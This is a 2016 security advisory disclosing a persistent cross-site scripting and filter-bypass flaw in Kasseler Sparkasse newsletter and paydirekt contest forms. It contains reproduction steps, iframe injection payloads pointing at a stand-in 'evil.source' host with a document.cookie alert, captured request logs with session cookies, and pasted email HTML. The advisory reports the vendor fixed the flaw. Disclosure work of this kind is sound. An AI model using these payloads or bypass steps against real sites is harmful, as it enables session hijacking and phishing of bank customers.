

**Document Title:**

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Sparkasse (Paydirect, Newsletter & Mailing) - Filter Bypass, Persistent Input Validation & Mail Encode Web Vulnerability

**Release Date:**

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2016-08-25

**Vulnerability Laboratory ID (VL-ID):**

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10848

**Common Vulnerability Scoring System:**

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5.6

**Vulnerability Disclosure Timeline:**

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2016-08-24: Researcher Notification & Coordination (Evolution Security GmbH)  
2016-08-25: Vendor Notification (Sparkasse Sicherheitsbeauftragter – H\*\*\*\*\* S\*\*\*\*\*)  
2016-08-26: Vendor Response/Feedback (Sparkasse Sicherheitsbeauftragter – H\*\*\*\*\* S\*\*\*\*\*)  
2016-08-30: Vendor Fix/Patch (Sparkasse Site Service Developer Team)  
2016-09-19: Public Disclosure (Vulnerability Laboratory)

**Discovery Status:**

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Unpublished

**Affected Product(s):**

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KasselerSparkasse (EM Gewinnspiel, Newsletter & Company Mailing Page)  
Online Service (Web-Application) – HTTPS (SSL)

**Exploitation Technique:**

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Remote

**Severity Level:**

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High

**Product & Service Introduction:**

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Eine Sparkasse ist ein Kreditinstitut mit der Aufgabe, breiten Bevölkerungsschichten Möglichkeiten zur Geldanlage anzubieten, den Zahlungsverkehr durchzuführen und die örtlichen Kreditbedürfnisse auch der mittelständischen Wirtschaft zu befriedigen.

(Copy of the Homepage: <https://de.wikipedia.org/wiki/Sparkasse> )

#### **Abstract Advisory Information:**

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The Evolution Security GmbH PenTest Research Team discovered a filter bypass issue and application-side input validation web vulnerability in the official Kasseler Sparkasse online service banking web-application.

#### **Technical Details & Description:**

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An application-side input validation web vulnerability and filter bypass issue has been discovered in the official Kasseler Sparkasse online service banking web-application. The filter bypass issue allows remote attackers to evade the controls of the basic validation process in the main core web-application of the german sparkasse banking portal. The persistent web vulnerability allows remote attackers to inject own malicious script codes to the application-side of the affected or connected vulnerable module web context.

The application-side input validation web vulnerability is located in the newsletter web-application index.php file with the call through to register. The input fields of the form are not secure parsed to prevent in any further service layer an application-side script code execution. Thus allows remote attackers to execute own malicious script code in the main core website context of the sparkasse online banking portal (ssl). During the manipulation the remote attacker registers to receive the newsletter by an existing account. Then the attacker manipulates the surname and firstname parameters by intercepting the (POST) request with a live tamper tool. After the registration is performed via POST method request on submit. The german sparkasse sends a notify email to the target demo registered inbox. In the email context the payload of the registration executes directly without secure parse or basic validation procedure. The context of the newsletter is performed in html format without encoding the stored database values on interaction. Thus finally results in a illegal behavoir that an attacker is able to inject persistent script codes. After the first payload was already executable we improved the function with the panel. Every email of the newsletter can be requested by the ssl portal website. After requesting the page with the content by ID via GET method the payload executes in the main service of the mailing.sparkasse.de web-server. So the first execution point occurs persistent in the arrival email and the second execute occurs in the requested website on html format by login with session or without authentication. The injection points are the vulnerable input fields of the formulars next to the newsletter and gewinnspiel modules.

During the tests we discovered that the valid id is not connected in the newsletter request to the ip and session credentials of the user. it is connected but not improved during the layer requests in the stages. Thus allows the attacker to finally bypass the basic validation by attaching the ids with the saved payload to the users profile for client-side executes to perform application-side manipulation. Normally the validation needs to approve the context to ensure the data is secure parsed at the locations were the user requests by session the output. The same issue was discovered to magento about 3 month ago when processing the mailing via newsletter and co. After one successful attack is performed the attacker is easily able to use the "**pzP8bjT8 or /pzP8bjT8/mxd4b9tKsJ**" values for malicious followup requests. The validation of the page can only count to the payloads recognized in the filter appliance, which we can easily bypass by performing to request the value as GET request in any existing form with the same type of request/session technique.

The security risk of the application-side web vulnerability and filter bypass issue are estimated as medium with a cvss (common vulnerability scoring system) count of 5.4. Exploitation of the

persistent web vulnerability requires no privileged sparkassen banking portal user account or restricted privileged access and only low user interaction (click|link). Successful exploitation of the vulnerability results in persistent phishing attacks, session hijacking, persistent external redirect to malicious sources and application-side manipulation of affected or connected module context.

#### Request Method(s):

- [+] POST (Inject)
- [+] GET (Execute)

#### Vulnerable Module(s):

- [+] ./module/ihre\_sparkasse/newsletter/

#### Vulnerable File(s):

- [+] index.php (newsletter)
- [+] blind.php (index)

#### Vulnerable Input(s):

- [+] Firstname
- [+] Lastname

#### Vulnerable Parameter(s):

- [+] firstname
- [+] surname

#### Affected Module(s):

- [+] Company Newsletter Mailing Page (Internal Link)
- [+] Company Newsletter Mailing Page (Internal Link)
- [+] Email Notification via SMTP/IMAP

#### **Proof of Concept (PoC):**

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The application-side input validation vulnerability can be exploited by remote attackers without privileged web-application user accounts and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

#### Manual steps to reproduce the vulnerability ...

1. Open the vulnerable sparkasse website
2. Switch to the newsletter (company) and paydirect (gwinnspiel) registration formular
3. Include a test payload to the firstname and surname input fields  
**Note: Non Malicious Test Payloads**  
`>"<iframe>%20"<iframe src=evil.source onload=alert(document.cookie)<  
>"<iframe>%20"<iframe src=evil.source><div style="1`
4. Save the input by send via POST method request to register
5. Open after the registration the random target email inbox
6. An email arrived were the code is executable in the header location next to the introduction
7. On top right there is a generated html link of the application that can be requested without authentication procedure or valid session
8. Open the website and the payload executes directly
9. Successful reproduce of the persistent remote cross site scripting web vulnerability!

PoC: Exploitation (Location: Output)

Internal with Login

<https://mailing.sparkasse.de/-linklplp/6998/357/359/1/0/4101/pzP8bjT8/mxd4b9tKsJ>

<https://mailing.sparkasse.de/-lp/lSYXb6998/bQ9nF357/359/4101/pzP8bjT8#content5997>

Internal without Login

<https://mailing.sparkasse.de/->

<link2/6998/359/3/3/4101/pzP8bjT8/QdoOgc6yNN/0/aHR0cHM6Ly9tYWlsaW5nLnNwYXJrYXNzZS5kZS8tbHAvbFNZWGI2OTk4L2JROW5GMzU3LzM1OS80MTAxL3B6UDhialQ4>

ID to Context (Valid)

[pzP8bjT8#content5997](#)

[/pzP8bjT8/mxd4b9tKsJ](#)

[/pzP8bjT8/QdoOgc6yNN/0/](#)

Note: The saved context that is connected to the ids allows an attacker to bypass the secure validation process again. The attacker only needs to attach the valid context to an non-expired session to perform a permanent malicious interaction.

PoC: Vulnerable Source (Execution via Email Body - HTML)

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Firmenkunden der Kasseler Sparkasse mit folgenden Themen:

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PoC: Vulnerable Source (Execution via Mailing Sparkasse Company Application - HTML)

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<a href="https://mailing.sparkasse.de/-linklplp/6998/357/359/1/0/4101/pzP8bjT8/mxd4b9tKsJ"
target="_blank">
</a></div>


<div class="optionen">
<p class="ausgabe">August 2016</p>
<a class="newsletter_drucken" href="javascript:void(0)" title="Newsletter drucken">Newsletter
drucken</a></div>
<div class="editorial">
<h1>Sehr geehrter Herr &gt;',[PERSISTENT INJECTED SCRIPT CODE EXECUTION]</h1>
Sie erhalten den aktuellen Infobrief für Firmenkunden der Kasseler Sparkasse mit folgenden
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<div class="artikel_wrapper">
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<div class="top_headline_wrap">
<h2>Sicher online zahlen ist einfach.</h2>
<h1>paydirekt</h1>
</div>
<div class="artikel_image">

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--- PoC Session Logs [POST & GET] ---

Status: 200[OK]

POST https://paydirekt.sparkasse.de/gewinnspiel

Mime Type[text/html]

Request Header:

Host[paydirekt.sparkasse.de]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8]

Referer[https://paydirekt.sparkasse.de/gewinnspiel?utm\_source=internetfiliale&utm\_medium=intern&utm\_campaign=dsgv\_pd-

gewinnspiel\_2016&utm\_content=teaser]

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Upgrade-Insecure-Requests[1]

POST-Daten:

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firstname[%3E%22%3Ciframe%2620%3E%22%3Ciframe+src%3Devil.source%3E]

surname[%3E%22%3Ciframe%2620%3E%22%3Ciframe+src%3Devil.source%3E]

email[bkm%40evolution-sec.com]

dateofbirth[12.03.1981]

street[X]

streetnumber[137]

plz[34246]

city[X]

value[52050353]

q[Kasseler+Sparkasse]

blz[52050353]

terms\_accepted[1]

Response Header:

Date[Thu, 25 Aug 2016 10:35:23 GMT]

Server[Apache]

Set-

Cookie[fuelcid=HHmOs9slyCJ9cUEp26XQt4C532snycnWjoqtqN65w9SjdySowZnip\_t\_7zl4anqx  
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 path=/]

Vary[Accept-Encoding]

Content-Encoding[gzip]

Content-Type[text/html; charset=UTF-8]

Status: 200[OK]

POST https://paydirekt.sparkasse.de/gewinnspiel

Mime Type[text/html]

Request Header:

Host[paydirekt.sparkasse.de]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8]

Accept-Language[de,en-US;q=0.7,en;q=0.3]

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terms\_accepted[1]

Response Header:

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Server[Apache]

Set-

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Content-Encoding[gzip]

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 GET <https://www.sparkasse.de/>  
 Mime Type[text/html]

Request Header:

Host[www.sparkasse.de]  
 User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]  
 Accept[text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8]  
 Accept-Language[de,en-US;q=0.7,en;q=0.3]  
 Accept-Encoding[gzip, deflate, br]  
 Referer[<https://paydirekt.sparkasse.de/gewinnspiel>]  
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 Upgrade-Insecure-Requests[1]

Response Header:

Set-Cookie[SPKDE82=R4280557535; path=/]  
 Date[Thu, 25 Aug 2016 10:35:54 GMT]  
 Server[Apache]  
 Strict-Transport-Security[max-age=31536000; includeSubDomains; preload]  
 X-Frame-Options[DENY]  
 Accept-Ranges[bytes]  
 Keep-Alive[timeout=10, max=150]  
 Connection[Keep-Alive]  
 Content-Type[text/html]

Status: 200[OK]  
 GET [https://www.kasseler-sparkasse.de/module/ihre\\_sparkasse/newsletter/index.php?blz=52050353&tab=optin\\_confirmation](https://www.kasseler-sparkasse.de/module/ihre_sparkasse/newsletter/index.php?blz=52050353&tab=optin_confirmation)

Mime Type[text/html]

Request Header:

Host[www.kasseler-sparkasse.de]  
 User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]  
 Accept[text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8]  
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 Upgrade-Insecure-Requests[1]

Response Header:

Date[Thu, 25 Aug 2016 10:33:10 GMT]  
 Server[Apache]  
 Cache-Control[must-revalidate, post-check=0, pre-check=0]  
 Last-Modified[Thu, 25 Aug 2016 10:33:10 GMT]  
 X-Frame-Options[SAMEORIGIN]  
 Keep-Alive[timeout=5, max=150]  
 Connection[Keep-Alive]  
 Content-Type[text/html; charset=UTF-8]

Status: 200[OK]

GET https://www.kasseler-sparkasse.de/blind.php?pid=806&path=module%2Fihre\_sparkasse%2Fnewsletter%2Findex.php&pkl=modulebasis

Mime Type[image/png]

Request Header:

Host[www.kasseler-sparkasse.de]  
 User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]  
 Referer[https://www.kasseler-sparkasse.de/module/ihre\_sparkasse/newsletter/index.php?  
 blz=52050353&tab=optin\_confirmation]

Cookie[IF\_SPKDE\_CHECK=SPKDE\_CHECK;  
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 %3D]

Connection[keep-alive]  
 If-Modified-Since[Thu, 25 Aug 2016 10:32:47 GMT]

Response Header:

Date[Thu, 25 Aug 2016 10:33:11 GMT]  
 Server[Apache]  
 Last-Modified[Thu, 25 Aug 2016 10:33:11 GMT]  
 Content-Length[212]  
 Keep-Alive[timeout=5, max=150]  
 Connection[Keep-Alive]

Status: pending[]

GET https://www.kasseler-sparkasse.de/module/ihre\_sparkasse/newsletter/index.php?n=%2Fmodule%2Fihre\_sparkasse%2Fnewsletter%2F Load Flags[VALIDATE\_NEVER  
LOAD\_DOCUMENT\_URI LOAD\_INITIAL\_DOCUMENT\_URI ] Größe des Inhalts[unknown]  
Mime Type[unknown]

Request Header:

Host[www.kasseler-sparkasse.de]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8]  
Referer[https://www.kasseler-

sparkasse.de/privatkunden/wertpapiere\_boerseninfos/Aktienempfehlungen/vorteile/index.php?n=%2Fprivatkunden%2Fwertpapiere\_boerseninfos%2Faktienempfehlungen%2FVorteile%2F]

Cookie[IF\_SPKDE\_CHECK=SPKDE\_CHECK;

PHPSESSID=b53b992d51c0ef0f18d8643cca1fb09; IF\_C\_CHECK=IF\_C\_CHECK; STAT-ID=35db288477fadd2819b4aaced68cd6d600f743a1399b4c014713162efcea1b2b;  
IFLBSERVERID!=

1zbZ119ENUszqfD0Vnp412ubd4PQFzPmlpkeYu5Fe1PZ1VthbeFCcrVjdAyGwDv+8wvC4Hw2sP  
ug9g==;

IFTICKET=ANpXvsfIJuesnLitAIBHNmrBHH6waVWIH79La4voL7ScQU5t6TRhEzbuxOf2Sb  
%2B%2Bon19NTiAXnw%0A12Ue%2B0yY7rpO5PxejRfKGbn39UWkCDFGvuAefAJK  
%2BfoNgX4T5dYyHVruNduZdSG%2Fe1t6PkwaDyD6%0AqNt43AXDKmT  
%2BWnPsmfWo0M2f%2Fc6TWDC1Yd  
%2BH3DewPOreclc63JijoHLxcSaTsCLssCfVmSC7ULK  
%0A0%2FIx7x5ct1G1WRVt9Lws0dxwLmi90U%2Bj2RT5CjvoXqYpXFw7ZgobniXFhDVrSIU  
%3D]

Status: 200[OK]

GET https://www.kasseler-sparkasse.de/module/ihre\_sparkasse/newsletter/index.php?  
blz=52050353&tab=optin\_done

Mime Type[text/html]

Request Header:

Host[www.kasseler-sparkasse.de]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8]  
Cookie[IF\_SPKDE\_CHECK=SPKDE\_CHECK;

PHPSESSID=b53b992d51c0ef0f18d8643cca1fb09; IF\_C\_CHECK=IF\_C\_CHECK; STAT-ID=35db288477fadd2819b4aaced68cd6d600f743a1399b4c014713162efcea1b2b;  
IFLBSERVERID!=

1zbZ119ENUszqfD0Vnp412ubd4PQFzPmlpkeYu5Fe1PZ1VthbeFCcrVjdAyGwDv+8wvC4Hw2sP  
ug9g==;

IFTICKET=ANpXvsfIJuesnLitAIBHNmrBHH6waVWIH79La4voL7ScQU5t6TRhEzbuxOf2Sb  
%2B%2Bon19NTiAXnw%0A12Ue%2B0yY7rpO5PxejRfKGbn39UWkCDFGvuAefAJK  
%2BfoNgX4T5dYyHVruNduZdSG%2Fe1t6PkwaDyD6%0AqNt43AXDKmT  
%2BWnPsmfWo0M2f%2Fc6TWDC1Yd  
%2BH3DewPOreclc63JijoHLxcSaTsCLssCfVmSC7ULK  
%0A0%2FIx7x5ct1G1WRVt9Lws0dxwLmi90U%2Bj2RT5CjvoXqYpXFw7ZgobniXFhDVrSIU  
%3D]

Connection[keep-alive]

Upgrade-Insecure-Requests[1]

Response Header:

Date[Thu, 25 Aug 2016 10:36:22 GMT]

Server[Apache]

Last-Modified[Thu, 25 Aug 2016 10:36:23 GMT]

X-Frame-Options[SAMEORIGIN]

Connection[Keep-Alive]

Content-Type[text/html; charset=UTF-8]

--- Execution Point ---

**Status: 200[OK]**

**GET <https://mailing.sparkasse.de/-lp/ISYXb6998/bQ9nF357/359/4101/a>[PERSISTENT SCRIPT CODE EXECUTION!]**

Mime Type[text/html]

Request Header:

Host[[mailing.sparkasse.de](https://mailing.sparkasse.de)]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8]

Referer[<https://mailing.sparkasse.de/-lp/ISYXb6998/bQ9nF357/359/4101/pzP8bjT8>]

Cookie[\_utma=201443667.1737256467.1471609305.1471609305.1472121349.2; \_utmc=201443667.1472121349.2.2.utmccn=(referral)|utmcsr=paydirekt.sparkasse.de|utmccn=/gewinnspiel|utmcmd=referral; \_ga=GA1.2.1737256467.1471609305;

s\_fid=7F60B43537AE44EC-0E82DF10D0E2DAB5; s\_cc=true; \_\_utmc=201443667;

SPK\_COOKIE=YmFua2NvZGU9NTIwNTAzNTM=;

SPK\_NAMES=Ym49S2Fzc2VsZXIgU3Bhcmthc3Nl; SPK\_CITY=S2Fzc2Vs;

SPK\_EMAIL=aW5mb0BrYXNzZWxlc1zcGFya2Fzc2UuZGU=;

SPK\_LINKLIST=aHR0cHM6Ly93d3cua2Fzc2VsZXItc3Bhcmthc3NlLmRlfEhbWVwYWdlIEloc

mVyIFNwYXJrYXNzZXx8aHR0cHM6Ly93d3cua2Fzc2VsZXItc3Bhcmthc3NlLmRlfE9ubGluZS

1CYW5raW5nfHxodHRwczovL3d3dy5rYXNzZWxlc1zcGFya2Fzc2UuZGUvaW1tb2JpbGllbnxJ

bW1vYmlsaWWuYW5nZWJvdGV8fGh0dHA6Ly9rYXNzZWwuc3Bhcmthc3NlYmxvZy5kZS98a

W0gQmxvZ3x8aHR0cHM6Ly93d3cua2Fzc2VsZXItc3Bhcmthc3NlLmRIL2ZhY2Vib29rfGF1ZiB

GYWNlYm9va3x8aHR0cHM6Ly93d3cua2Fzc2VsZXItc3Bhcmthc3NlLmRIL25ld3NsZXR0ZXJ8

TmV3c2xldHRlcnx8aHR0cHM6Ly93d3cua2Fzc2VsZXItc3Bhcmthc3NlLmRIL2tvbnRha3R8S29u

dGFrdGZvcn11bGFy;

SPK\_HOMEPAGE=aHR0cHM6Ly93d3cua2Fzc2VsZXItc3Bhcmthc3NlLmRl;

SPK\_KONTAKT=aHR0cHM6Ly93d3cua2Fzc2VsZXItc3Bhcmthc3NlLmRIL2tvbnRha3Q=;

SPK\_TEASER=aGVhZGxpbmU7QmVxdWVtIGlzdCBlaW5mYWNoLnx8fHdlaXRlcmUgSW5m

b3JtYXRpb25lajs7dXJsO2h0dHBzOi8vd3d3Lmthc3NlbgVyLXNwYXJrYXNzZS5kZS9naXJva29

udG87O3RleHQ7V2VubiBlcyBm/HIgamVkZW4gZ2VuYXUgZGFzIHJpY2h0aWdIIEdpcm9rb25

0byBnaWJ0Ljs7aW1hZ2VVcmw7L2Jpb9zZXJ2bGV0cy9zcGFya2Fzc2Uvc3BraW1hZ2U/Ymx6

PTUyMDUwMzUzOzs=; \_gat=1]

Connection[keep-alive]

Upgrade-Insecure-Requests[1]

Response Header:

Server[nginx]

Content-Type[text/html; charset=UTF-8]

Reference(s):

<https://mailing.sparkasse.de/>

[https://www.kasseler-sparkasse.de/module/ihre\\_sparkasse/newsletter/index.php](https://www.kasseler-sparkasse.de/module/ihre_sparkasse/newsletter/index.php)

<https://bankingportal.kasseler-sparkasse.de/>

<https://paydirekt.sparkasse.de/gewinnspiel>

Picture(s):

The first two pictures shows the injection points in the formulars of the sparkasse banking website.

### Anmeldung zum Gewinnspiel

Geben Sie hier Ihren vollständigen Namen, Ihre E-Mail-Adresse, Ihre Adresse und Ihre Sparkasse/Ihr Institut an. Diese setzt sich im Gewinnfall mit Ihnen in Verbindung. Viel Glück!

Die angegebene E-Mail-Adresse nimmt bereits am Gewinnspiel teil.

Anrede	Nachname	
<input type="text" value="Herr"/>	<input &lt;iframe&amp;20&gt;&lt;iframe="" src='a&gt;"/' type="text" value="&gt;"/>	
Vorname	E-Mail-Adresse	
<input &lt;iframe&amp;20&gt;&lt;iframe="" src='a&gt;"/' type="text" value="&gt;"/>	<input type="text" value="Bkm@evolution-sec.com"/>	
Die E-Mail Adresse muss dieselbe sein, die zur Registrierung von paydirekt benutzt wurde.		
Geburtstag	Hausnummer	
<input type="text" value="12.03.1981"/>	<input type="text" value="137"/>	
Straße	PLZ	Ort
<input &lt;iframe&amp;20&gt;&lt;iframe="" src='a&gt;"/' type="text" value="&gt;"/>	<input type="text" value="34246"/>	<input &lt;iframe&amp;20&gt;&lt;iframe="" src='a&gt;"/' type="text" value="&gt;"/>
Bitte wählen Sie Ihre Sparkasse aus:		
<input type="text" value="Kasseler Sparkasse"/>		

The 3<sup>rd</sup> picture shows the location were the payload executes within the mailing service of the sparkasse bank online service web-application.

Uhrzeit	Method	Content-Type	URL
13:02:52.929	GET	application/x-...	https://paydirekt.sparkasse.de/rest/bank.json
13:02:53.044	GET	application/x-...	https://paydirekt.sparkasse.de/rest/bank/get/52050353.json
13:09:16.438	GET	text/html	https://mailing.sparkasse.de/-link2/6998/339/3/3/4101/pzP8bjT8/QdoOgc6yNN/0/aH0cHM6Ly9tYWlsW5nLnNwYXJzZ5kZS8tbHavbFNZWG120Tk4L2jROW5GMzU3LzM1OS80MTAxL3B6UDhiaQ4
13:09:16.656	GET	text/html	https://mailing.sparkasse.de/-lp/ISYxb6998/bQ9nF357/339/4101/pzP8bjT8#content5997
13:09:17.495	GET	unknown	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/styles/schriften.css
13:09:17.496	GET	unknown	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/styles/print.css
13:09:17.496	GET	unknown	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/ressourcen/jquery1102.js
13:09:17.497	GET	unknown	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/script/script.js
13:09:17.497	GET	unknown	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/ressourcen/html5shiv.js
13:09:17.567	GET	text/html	https://mailing.sparkasse.de/-lp/ISYxb6998/bQ9nF357/339/4101/a
13:09:17.568	GET	application/x-...	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/schriften/sparrg-webfont.woff
13:09:17.754	GET	application/x-...	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/schriften/sparrg-webfont.ttf
13:09:18.415	GET	unknown	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/styles/schriften.css
13:09:18.418	GET	unknown	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/styles/print.css
13:09:18.419	GET	unknown	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/ressourcen/jquery1102.js
13:09:18.419	GET	unknown	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/script/script.js
13:09:18.420	GET	unknown	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/ressourcen/html5shiv.js
13:09:18.473	GET	application/x-...	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/schriften/sparrg-webfont.woff
13:09:18.592	GET	application/x-...	https://emma.sparkasse.de/public/a_4760_VH8SW/webspace/Vorlagen/2013_12_Akkordeon/schriften/sparrg-webfont.ttf

  

Request Header Name	Request Header Wert	Response Header Name	Response Header Wert
Host	mailing.sparkasse.de	Status	OK - 200
User-Agent	Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0	Server	nginx
Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	Date	Thu, 25 Aug 2016 11:09:25 GMT
Accept-Language	de,en-US;q=0.7,en;q=0.3	Content-Type	text/html; charset=UTF-8
Accept-Encoding	gzip, deflate, br	Connection	close
Referer	https://mailing.sparkasse.de/-lp/ISYxb6998/bQ9nF357/339/4101/pzP8bjT8	Vary	Accept-Encoding
Cookie	_utma=20143667.1737256467.1471609305.1471609305.1472121349.2; _utmz=20143667.1472121349.2.2.utmccn=(referral) utmcsr=paydirekt.sparkasse.de utmcmd=ref utmctrn= utmhn=www.paydirekt.sparkasse.de utmtrk=;	Content-Encoding	gzip
Connection	keep-alive		
Upgrade-Insecure-Requests	1		

The next request shows the loaded module with the blind.php followup request to perform the execution in the sparkasse web-page context.

12:36:16.445	GET	unknown	https://www.kasseler-sparkasse.de/js/kontakt.js
12:36:16.525	GET	image/png	https://www.kasseler-sparkasse.de/blind.php?pid=806&path=module%2Fhre_sparkasse%2Fnewsletter%2Findex.php&pk=modulebasis
12:36:16.526	GET	text/html	https://www.kasseler-sparkasse.de/redirect.php?id=101
12:36:16.612	GET	application/json	https://www.kasseler-sparkasse.de/js/disclaimernavi.json?_=1472121376467
12:36:16.634	GET	text/html	https://app.sendnode.com/m130704/sites/?blz=52050353&site=&tab=optin_done
12:36:16.864	GET	unknown	https://app.sendnode.com/m130704/sites/version02/ressources/blitzer/jquery-ui-1.10.4.custom.min.css
12:36:16.865	GET	unknown	https://app.sendnode.com/m130704/sites/version02/styles/global.css

Request Header Name	Request Header Wert	Response Header Name	Response Header Wert
Host	www.kasseler-sparkasse.de	Status	OK - 200
User-Agent	Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0	Date	Thu, 25 Aug 2016 10:36:23 GMT
Accept	/*	Server	Apache
Accept-Language	de,en-US;q=0.7,en;q=0.3	Last-Modified	Thu, 25 Aug 2016 10:36:23 GMT
Accept-Encoding	gzip, deflate, br	Expires	0
Referer	https://www.kasseler-sparkasse.de/module/hre_sparkasse/newsletter/index.php?blz=52050353&tab=optin_done	Cache-Control	must-revalidate, post-check=0, pre-check=0, no-cache
Cookie	IF_SPKDE_CHECK=SPKDE_CHECK; PHPSESSID=b33b992d51c1ufe0f18d843cca1ffb09; IF_C_CHECK=IF_C_CHECK; STAT-ID=35db28477fadd2819b4ac...	Pragma	no-cache
Connection	keep-alive	Content-Length	212
If-Modified-Since	Thu, 25 Aug 2016 10:33:30 GMT	Keep-Alive	timeout=5, max=150
		Connection	Keep-Alive
		Content-Type	image/png

The last requests shows the successful request on registration to the campaign for further exploitation by the remote attackers.

12:36:15.033	GET	text/html	https://mailing.sparkasse.de/-confirm-optin/6998/381/HnSV3
12:36:15.597	GET	application/javascript	https://twitter.com/push_service_worker.js
12:36:15.801	GET	text/html	https://www.kasseler-sparkasse.de/module/ihre_sparkasse/newsletter/index.php?blz=52050353&tab=optin_done
12:36:16.379	GET	unknown	https://www.kasseler-sparkasse.de/css/if5_druck.css
12:36:16.380	GET	unknown	https://www.kasseler-sparkasse.de/js/fu/jquery.min.js
12:36:16.380	GET	unknown	https://www.kasseler-sparkasse.de/js/fu/jquery.ui.min.js
12:36:16.381	GET	unknown	https://www.kasseler-sparkasse.de/js/fu/jquery.easing.min.js
12:36:16.382	GET	unknown	https://www.kasseler-sparkasse.de/f.js
12:36:16.383	GET	unknown	https://www.kasseler-sparkasse.de/js/std.js
12:36:16.385	GET	unknown	https://www.kasseler-sparkasse.de/css/if5_raster.css
12:36:16.385	GET	unknown	https://www.kasseler-sparkasse.de/css/if5_container.css
12:36:16.386	GET	unknown	https://www.kasseler-sparkasse.de/css/onlineprodukte.css
12:36:16.409	GET	unknown	https://www.kasseler-sparkasse.de/c/suche.js

  

Request Header Name	Request Header Wert	Response Header Name	Response Header Wert
Host	www.kasseler-sparkasse.de	Status	OK - 200
User-Agent	Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0	Date	Thu, 25 Aug 2016 10:36:22 GMT
Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	Server	Apache
Accept-Language	de,en-US;q=0.7,en;q=0.3	Expires	0
Accept-Encoding	gzip, deflate, br	Cache-Control	must-revalidate, post-check=0, pre-check=0
Cookie	IF_SPKDE_CHECK=SPKDE_CHECK; PHPSESSID=b53b992d51c0ef0f18d8643cca1fb09; IF_C_CHECK=IF_C_CHECK; STAT-ID=35db280477fadd2819b4ac...	Last-Modified	Thu, 25 Aug 2016 10:36:23 GMT
Connection	keep-alive	X-Frame-Options	SAMEORIGIN
Upgrade-Insecure-Requests	1	Keep-Alive	timeout=5, max=150
		Connection	Keep-Alive
		Transfer-Encoding	chunked
		Content-Type	text/html; charset=UTF-8

The next two pictures shows were the payload executes the first time after arrival during the registration to the email inbox of the target user bank account.

Betreff: Jetzt Einkaufsgutscheine gewinnen!  
Von: Kasseler Sparkasse <newslettermversand@kasseler-sparkasse.de>  
Datum: 25.08.2016 12:37  
An: <bkm@evolution-sec.com>



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<td class="editorial_headline" style="font-family:'Sparkasse Rg', Arial, Helvetica, sans-serif; font-size:18px; line-height:22px; color:#ff0000;" width="100%">Sehr geehrter Herr &gt;</td>
<tr>
<td class="h28" height="12" style="font-size:12px; line-height:12px; mso-line-height-rule:exactly;">&ampnbsp</td>
</tr>
<table class="w260" width="534" border="0" cellpadding="0" cellspacing="0">
<tr><td valign="top">
<table border="0" cellpadding="0" cellspacing="0">
<tr><td width="100%" class="editorial_text" style="font-family:'Sparkasse Rg', Arial, Helvetica, sans-serif; font-size:12px; line-height:16px; color:#000000;">Sie erhalten den aktuellen Infobrief f&lt;u&gt;irme&lt;/u&gt;kunden der Kasseler Sparkasse mit folgenden Themen:</td>
<td>
</td>
</tr>
<tr><td class="h28" height="12" style="font-size:12px; line-height:12px; mso-line-height-rule:exactly;">&ampnbsp</td>
</tr>

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Von Kasseler Sparkasse <newsletterversand@kasseler-sparkasse.de>☆

Betreff **Jetzt Einkaufsgutscheine gewinnen!**

Antwort an noreply@kasseler-sparkasse.de☆

An Mich <bkm@evolution-sec.com>☆



Kasseler  
Sparkasse

August 2016

Zur Browseransicht

Sehr geehrter Herr >,,,

The next picture shows the execution in the html generated browser page to the user account by the email notify service through mailings and https kasseler-sparkasse.

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<tr>
  <td class="mhidel" width="28">&ampnbsp</td>
  <td class="v30" width="19">&ampnbsp</td>
  <td class="v260" width="534"><table class="v260" border="0" cellpadding="0" cellspacing="0" width="534">
    <tbody>
      <tr>
